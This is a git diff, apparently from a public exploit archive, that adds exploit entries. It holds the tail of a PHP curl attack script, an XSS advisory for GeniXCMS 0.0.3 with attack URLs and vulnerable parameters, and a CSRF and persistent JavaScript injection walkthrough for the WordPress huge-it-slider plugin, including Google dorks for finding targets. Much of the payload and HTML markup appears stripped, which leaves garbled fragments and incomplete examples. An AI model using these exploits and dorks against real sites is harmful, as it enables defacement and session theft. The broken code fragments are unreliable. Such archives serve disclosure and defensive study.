'room'=>'./')); +curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); +$postResult = curl_exec($ch); +curl_close($ch); +print "$postResult"; + +?> diff --git a/platforms/php/webapps/37360.txt b/platforms/php/webapps/37360.txt new file mode 100755 index 000000000..12a6f6ef6 --- /dev/null +++ b/platforms/php/webapps/37360.txt @@ -0,0 +1,95 @@ +# Exploit Title: Persistent XSS +# Google Dork: intitle: Persistent XSS +# Date: 2015-06-21 +# Exploit Author: John Page ( hyp3rlinx ) +# Website: hyp3rlinx.altervista.org +# Vendor Homepage: genixcms.org +# Software Link: genixcms.org +# Version: 0.0.3 +# Tested on: windows 7 +# Category: webapps + + +Vendor: +============================================= +genixcms.org + + + +Product: +===================================================== +GeniXCMS v0.0.3 is a PHP based content management system + + + +Advisory Information: +=================================================== +Multiple persistent & reflected XSS vulnerabilities + + + +Vulnerability Details: +========================================================= +GeniXCMS v0.0.3 is vulnerable to persistent and reflected XSS + + +XSS Exploit code(s): +==================== + +Persistent XSS: +----------------------- +http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&act=add&token= + +1-content input field +content injected XSS will execute after posting is published + +2-title input field +title injected XSS will execute immediate. + + +Relected XSS: +--------------------- +http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&q=1' + + + +Disclosure Timeline: +========================================================= +Vendor Notification: NA +June 21, 2015 : Public Disclosure + + + +Severity Level: +========================================================= +Med + + + +Description: +========================================================= + +Request Method(s): [+] GET & POST + + +Vulnerable Product: [+] GeniXCMS 0.0.3 + + +Vulnerable Parameter(s): [+] q, content & title + + +Affected Area(s): [+] index.php + + +=============================================================== + +[+] Disclaimer +Permission is hereby granted for the redistribution of this advisory, provided that +it is not altered except by reformatting it, and that due credit is given. Permission is +explicitly given for insertion in vulnerability databases and similar, provided that +due credit is given to the author. The author is not responsible for any misuse of the +information contained herein and prohibits any malicious use of all security related +information or exploits by the author or elsewhere. + + +(hyp3rlinx) \ No newline at end of file diff --git a/platforms/php/webapps/37361.txt b/platforms/php/webapps/37361.txt new file mode 100755 index 000000000..5928e9e1d --- /dev/null +++ b/platforms/php/webapps/37361.txt @@ -0,0 +1,278 @@ +# Exploit Title: WordPress: wordpress huge-it-slider 2.7.5 & Persistent JS-HTML Code injection, Arbitrary slider deletion +# Date: 2015-06-23 +# Google Dork: intitle:"index of" intext:"/wp-content/plugins/slider-image/" +# Exploit Author: Joaquin Ramirez Martinez [ i0akiN SEC-LABORATORY ] +# Software Link: https://downloads.wordpress.org/plugin/slider-image.latest-stable.zip +# Version: 2.7.5 +# Tested on: windows 7 ultimate + Firefox. +# video demo: https://www.youtube.com/watch?v=RTLAbmyBIU8 + +==================================================== + * CSRF + Persistent JS/HTML Injection +==================================================== + +===================== +DECRIPTION +===================== + +An attacker can make a user with access privileges to a page containing malicious script +and send some parameters injected JavaScript to the database. + +============================ +vulnerable POST parameters +============================ +//variables with variation names// + +order_by_[variation_number] +titleimage[variation_number] +sl_url[variation_number] +sl_link_target[variation_number] +im_description[variation_number] +imagess[variation_number] + +//variables with constant names// + +sl_pausetime +sl_changespeed + +=============== +EXPLOTATION +=============== + +variable numbers can be extracted from a published page containing the slider. and make all +parameters injected with code JS / HTML. + +------------------- +EXAMPLE +------------------- +[Extracting data for use] + +In a vulnerable site and has posted a slider, the malicious user can extract information +the attack is successful. + +----------------------------------------------------------------------------------------- +[variation_number] is a variable number that could be extracted as follows. +----------------------------------------------------------------------------------------- +The attacker sees the following framento source code of the page with slider: + + + +
[ <---SLIDER_ID_FOUND=2 ] +
+
+
+ +
+
+ + +
+
+ +
+ + + +----------------------------------------------------------------------------------- +Classes tags [
] have a number at the end that is the id of the slider. +Also labeled [
+
+ +
+ + + +
+ +
+
+
+
+
+ + +
+
+ +